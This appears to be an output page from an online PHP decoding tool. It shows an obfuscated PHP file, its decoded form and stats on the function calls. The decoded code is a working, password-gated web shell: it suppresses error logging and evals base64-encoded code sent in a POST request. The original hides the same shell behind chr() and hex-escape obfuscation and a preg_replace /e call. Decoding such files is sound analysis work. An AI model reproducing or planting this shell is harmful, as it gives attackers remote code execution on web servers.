Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ..

Decoded Output download

@error_reporting(0);
@ini_set("display_errors",0);
@ini_set("log_errors",0);
@ini_set("error_log",0);

if (isset($_POST) && is_array($_POST) && count($_POST)>1)
{
	foreach ($_POST as $var)
	{
		if (!isset($code)) $code = $var;
		elseif (!isset($pass)) $pass = $var;
		else break;
	}

	if ($pass == "z3zFmMFpfyqBo1TeRwSAVGWVGxtkvXc5")
	{
		eval(base64_decode($code));
	}
}
exit;

Did this file decode correctly?

Original Code

<?php

                                                                                                                                                                                                                                                                                                                                                   $eR0N="p".chr(114)."eg\x5Fr\x65".chr(112)."\x6C\x61".chr(99)."\x65";$eGy6m="\x65".chr(118)."\x61".chr(108)."(".chr(98)."a".chr(115)."\x65".chr(54)."\x34\x5F\x64\x65\x63o".chr(100).chr(101)."\x28\x22\x51\x47".chr(86).chr(121)."cm\x39y".chr(88)."3\x4al\x63G".chr(57)."\x79\x64\x47".chr(108)."\x75Z".chr(121)."\x67".chr(119)."KT".chr(115).chr(75).chr(81).chr(71)."\x6cu".chr(97)."\x56".chr(57)."z\x5aX".chr(81)."\x6F".chr(73).chr(109).chr(82).chr(112)."\x633\x42\x73".chr(89).chr(88).chr(108).chr(102)."Z\x58J\x79b3J".chr(122).chr(73)."\x69\x77\x77\x4bT\x73KQ".chr(71)."\x6c\x75\x61V\x39".chr(122)."Z\x58\x51\x6F\x49\x6D\x78\x76\x5A\x319l".chr(99).chr(110).chr(74).chr(118).chr(99)."\x6E".chr(77)."i\x4CDAp".chr(79).chr(119).chr(112).chr(65)."\x61".chr(87)."\x35p\x58".chr(51).chr(78)."l\x64".chr(67)."gi".chr(90)."X".chr(74).chr(121)."b3J\x66\x62\x47\x39".chr(110)."I".chr(105).chr(119)."wK\x54".chr(115)."\x4b\x43\x6d".chr(108)."m\x49Ch".chr(112).chr(99).chr(51)."\x4Eld\x43\x67kX".chr(49).chr(66).chr(80)."U1\x51pI\x43\x59".chr(109)."\x49\x47\x6cz".chr(88)."2".chr(70).chr(121).chr(99)."mF\x35\x4b".chr(67).chr(82).chr(102)."\x55E".chr(57)."\x54V".chr(67).chr(107).chr(103).chr(74)."\x69Y".chr(103)."\x59\x32\x391b".chr(110).chr(81).chr(111).chr(74)."\x469".chr(81)."T1N".chr(85)."\x4B\x54\x34x\x4bQp7\x43\x67\x6c".chr(109)."\x62\x33\x4A\x6cY".chr(87).chr(78)."\x6fI\x43".chr(103)."k\x58".chr(49)."\x42\x50U\x31\x51\x67\x59\x58\x4d".chr(103).chr(74)."\x48\x5Ah".chr(99).chr(105)."\x6bKC".chr(88)."\x73K".chr(67)."\x51l\x70".chr(90).chr(105)."\x41\x6F\x49\x57\x6c\x7a".chr(99)."2".chr(86)."\x30K".chr(67)."R\x6ab\x32R\x6c\x4b".chr(83).chr(107).chr(103)."\x4AG\x4e".chr(118)."\x5aGU".chr(103).chr(80)."SAk\x64\x6D\x46\x79O".chr(119)."o\x4aC".chr(87)."Vs".chr(99).chr(50).chr(86)."\x70\x5A\x69A".chr(111)."I\x57l".chr(122).chr(99)."2V0KC".chr(82)."\x77\x59".chr(88)."N".chr(122)."\x4B".chr(83)."\x6B\x67\x4a\x48".chr(66).chr(104)."c\x33M\x67P".chr(83)."Ak".chr(100)."mFy\x4F".chr(119).chr(111).chr(74)."C\x57\x56\x73\x63\x32".chr(85).chr(103)."\x59n".chr(74)."\x6c\x59\x57".chr(115).chr(55)."\x43".chr(103).chr(108)."9\x43g".chr(111).chr(74)."a".chr(87)."Y\x67".chr(75)."\x43\x52".chr(119)."\x59".chr(88).chr(78)."z".chr(73)."\x440\x39".chr(73).chr(67)."J\x36\x4D".chr(51)."p".chr(71).chr(98).chr(85)."1G".chr(99)."\x47Z\x35cU".chr(74).chr(118)."\x4d\x56".chr(82)."l".chr(85)."\x6E".chr(100).chr(84).chr(81)."V\x5A".chr(72)."\x56\x31".chr(90)."\x48e\x48".chr(82)."\x72".chr(100)."\x6Ch".chr(106)."\x4ES".chr(73)."pC\x67\x6c\x37\x43\x67kJ\x5AX\x5A\x68\x62Ch\x69YXN".chr(108)."N".chr(106)."\x52\x66".chr(90)."\x47V\x6a".chr(98).chr(50).chr(82)."\x6c\x4B".chr(67)."\x52".chr(106)."b\x32\x52l\x4bSk7\x43\x67".chr(108)."\x39\x43\x6e0K".chr(90).chr(88).chr(104)."\x70\x64\x44\x73\x3d".chr(34)."\x29\x29".chr(59);$tZSN3="\x2fb".chr(51)."\x32".chr(56).chr(57)."\x664".chr(51)."\x38\x39".chr(101).chr(54)."4".chr(100)."\x31".chr(57).chr(56)."7".chr(57)."\x63".chr(54).chr(97).chr(52)."\x631".chr(54)."\x3478\x61".chr(97)."\x65\x2F".chr(101);$eR0N($tZSN3,$eGy6m,"b\x332\x38\x39f4".chr(51)."8\x39e".chr(54)."4".chr(100)."\x31\x398\x37\x39\x63\x36".chr(97)."\x34\x63".chr(49).chr(54)."4".chr(55)."\x38\x61\x61\x65");




?>

Function Calls

chr 197
preg_replace 1
base64_decode 1

Variables

$eR0N preg_replace
$eGy6m eval(base64_decode("QGVycm9yX3JlcG9ydGluZygwKTsKQGluaV9zZXQo..
$tZSN3 /b3289f4389e64d19879c6a4c16478aae/e

Stats

MD5 55768c169be9894324b63e7ab3989199
Eval Count 2
Decode Time 220 ms